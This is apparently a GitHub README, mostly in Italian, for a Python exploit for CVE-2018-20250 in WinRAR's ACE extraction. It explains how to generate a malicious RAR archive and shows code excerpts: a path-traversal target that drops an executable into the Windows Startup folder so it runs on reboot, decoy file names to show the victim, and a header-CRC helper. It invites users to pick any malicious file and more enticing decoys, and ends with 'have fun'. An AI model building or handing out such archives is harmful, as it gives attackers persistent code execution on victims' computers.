likekabin/cve-2018-20250Script di exploit in Python per CVE-2018-20250 che genera un archivio RAR dannoso per ottenere l'esecuzione di codice tramite la vulnerabilità di estrazione dei file ACE di WinRAR, mirando alla persistenza nella cartella di avvio.
exp per Estrarre l'esecuzione di codice da Winrar
poc di Ridter
come si usa?
ti basta installare python 3.7, preparare un file dannoso che vuoi eseguire, impostare i valori che vuoi, questo script exp genererà automaticamente il file di archivio malevolo!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
test.rar
test.rar, vedrà i file hello.txt e world.txt; puoi anche aggiungere altri file, file più accattivanti.
hi.exe, che in realtà è calc.exe. quando riavvia il computer, hi.exe verrà eseguito.
divertiti! :)